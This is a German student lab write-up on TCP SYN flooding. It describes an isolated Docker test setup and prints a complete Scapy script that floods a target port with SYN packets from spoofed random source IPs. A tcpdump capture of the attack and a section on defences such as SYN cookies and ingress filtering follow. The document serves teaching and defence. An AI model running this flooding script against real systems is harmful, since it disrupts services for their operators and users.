

Blatt 1

Web-Security und Intrusion Prevention

Luis Staudt

Aufgabe 1: TCP-SYN-Flooding

Aufbau des Versuchs

Der Angriff wurde in einer vollständig isolierten Umgebung gegen einen eigenen Testserver durchgeführt, nicht gegen fremde Systeme. Anstelle zweier virtueller Maschinen kamen zwei Container in einem internal-Docker-Netz zum Einsatz, das keine Verbindung nach aussen besitzt. Als Opfer diente ein minimaler Webserver (`python -m http.server 80`), der die vorgegebene `index.html` ausliefert. Der Angreifer lief in einem Container mit Scapy und tcpdump. Die `NET_RAW`-Capability ist dabei erforderlich, da das Versenden roher Pakete Root-Rechte auf Socket-Ebene voraussetzt.

Vor dem Angriff werden auf dem Opfer die SYN-Cookies deaktiviert, da der Kernel die halboffenen Verbindungen andernfalls nicht in einer begrenzten Queue vorhält:

```
1 sudo sysctl -w net.ipv4.tcp_syncookies=0
```

Funktionsweise des Angriffs

Der TCP-Verbindungsaufbau ist ein Drei-Wege-Handshake. Der Client sendet SYN, der Server antwortet mit SYN/ACK und legt die halboffene Verbindung in seiner Backlog-Queue ab, der Client bestätigt mit ACK.

Beim SYN-Flooding sendet der Angreifer sehr viele SYN-Pakete mit zufälliger, gefälschter Quell-IP. Der Server antwortet jeweils mit SYN/ACK an die gespoofte Adresse und wartet auf das ACK, das nie eintrifft. Jede dieser halboffenen Verbindungen belegt bis zum Timeout einen Platz in der Backlog-Queue. Ist die Queue voll, lehnt der Server neue und auch legitime Verbindungen ab, sodass der Dienst nicht mehr erreichbar ist.

Die zufällige Quell-IP verhindert das Antwort-ACK und verschleiert zugleich den Angreifer.

Das Scapy-Skript

```

1 import argparse, random
2 from scapy.all import IP, TCP, send
3
4 def random_ip():
5     return ".".join(str(random.randint(1, 254)) for _ in range(4))
6
7 def main():
8     ap = argparse.ArgumentParser()
9     ap.add_argument("target")
10    ap.add_argument("-p", "--port", type=int, default=80)
11    ap.add_argument("-c", "--count", type=int, default=1000)
12    args = ap.parse_args()
13    for _ in range(args.count):
14        pkt = IP(src=random_ip(), dst=args.target) / \
15            TCP(sport=random.randint(1024, 65535), dport=args.port, flags="S")
16        send(pkt, verbose=0)
17
18 if __name__ == "__main__":
19     main()

```

Das Flag `flags="S"` setzt das SYN-Bit. Die Quelladresse wird über `IP(src=...)` pro Paket gefälscht, der Quell-Port wird zufällig gewählt.

Durchführung und Mitschnitt

Der Angriff wurde auf 800 Pakete begrenzt. Diese Anzahl genügt, um das Angriffsmuster im Mitschnitt zu belegen, ohne den Dienst tatsächlich lahmzulegen. Parallel lief `tcpdump` und filterte auf SYN-Pakete zum Port 80:

```

1 tcpdump -i eth0 -n 'tcp[tcpflags] & tcp-syn != 0 and dst port 80' -w syn.pcap &
2 python syn_flood.py 172.20.0.2 -p 80 -c 800

```

Der Mitschnitt belegt den Angriff: eine Folge von SYN-Paketen (Flags [S]) von ständig wechselnden, gefälschten Quell-IPs an das Opfer 172.20.0.2:80.

```

1 09:55:10.545916 IP 156.31.193.62.22665 > 172.20.0.2.80: Flags [S], seq 0
2 09:55:10.571039 IP 55.1.180.13.25662 > 172.20.0.2.80: Flags [S], seq 0
3 09:55:10.583164 IP 211.182.186.75.40134 > 172.20.0.2.80: Flags [S], seq 0
4 09:55:10.595030 IP 113.37.126.215.22853 > 172.20.0.2.80: Flags [S], seq 0
5 09:55:10.607081 IP 9.41.98.78.19871 > 172.20.0.2.80: Flags [S], seq 0
6 09:55:10.619006 IP 207.91.156.32.34708 > 172.20.0.2.80: Flags [S], seq 0
7 09:55:10.636367 IP 160.81.235.108.43512 > 172.20.0.2.80: Flags [S], seq 0
8 09:55:10.655004 IP 253.203.93.254.21877 > 172.20.0.2.80: Flags [S], seq 0

```

Der vollständige Mitschnitt liegt als `images/syn_flood.pcap` bei und lässt sich in Wireshark öffnen. Als Anzeigefilter dient dort `tcp.flags.syn == 1 && tcp.flags.ack == 0`, der genau die Angriffspakete markiert.

Verteidigung: SYN-Cookies

Die wirksamste Gegenmassnahme sind SYN-Cookies, die auf aktuellen Linux-Systemen standardmässig aktiv sind:

```
1 sudo sysctl -w net.ipv4.tcp_syncookies=1
```

Der Server legt beim Eingang eines SYN keinen Zustand mehr in der Backlog-Queue an. Stattdessen kodiert er die nötigen Informationen kryptografisch in die Initial Sequence Number des SYN/ACK, das sogenannte Cookie. Die Verbindung wird erst aufgebaut, sobald ein gültiges ACK mit passendem Cookie zurückkommt. Da ohne Zustand keine Queue volllaufen kann, läuft der SYN-Flood ins Leere.

Weitere Massnahmen ergänzen diesen Schutz:

- Rate-Limiting pro Quell-IP, das bei gespooften Adressen allerdings nur begrenzt greift.
- Vergrössern der Backlog-Queue und Verkürzen des Timeouts für halboffene Verbindungen.
- Firewalls und Upstream-Filter beim Provider.
- Ingress-Filtering (BCP 38), das gespooften Quell-IPs am Netzrand verwirft.